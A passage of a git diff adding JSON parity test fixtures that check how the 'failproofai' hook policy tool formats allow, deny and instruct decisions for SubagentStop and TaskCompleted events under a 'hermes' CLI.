"projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0684a189 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2f108f6f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..51a3acf5 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5416db33 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2dc059cc --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..254f97a0 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d55c6f51 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..10e6dea3 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9a42f4dd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..058d6b90 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1e08715a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..ad327ead --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d6c22dfa --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..80a922af --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..cad3ded6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f6013b9a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..1f877a1f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..57ca53eb --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b932bc85 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": 